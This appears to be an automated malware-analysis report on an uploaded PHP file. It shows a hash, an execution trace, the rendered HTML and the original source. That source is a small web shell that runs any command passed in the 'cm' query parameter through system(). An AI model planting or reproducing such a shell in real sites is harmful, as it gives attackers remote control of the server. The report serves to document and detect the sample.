PHP Malware Analysis

00000000ax.php

md5: 755c0849ac2e016032333fb66e5238dd

Jump to: 

Screenshot
Attributes
Execution

Input

Title

Deobfuscated PHP code
Failed to deobfuscate code
Execution traces
data/traces/755c0849ac2e016032333fb66e5238dd_trace-1676242411.4914.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:53:57.389276]
1	0	1	0.000170	393528
1	3	0	0.000213	393696	{main}	1		/var/www/html/uploads/00000000ax.php	0	0
1	3	1	0.000230	393696
			0.000256	314240
TRACE END   [2023-02-12 20:53:57.389396]


Generated HTML code
<html lang="en"><head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <!--?
    if (isset($_GET['cm'])) {
        system($_GET['cm'])
    }
    ?-->





</body></html>
Original PHP code
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <?
    if (isset($_GET['cm'])) {
        system($_GET['cm'])
    }
    ?>



</body>

</html>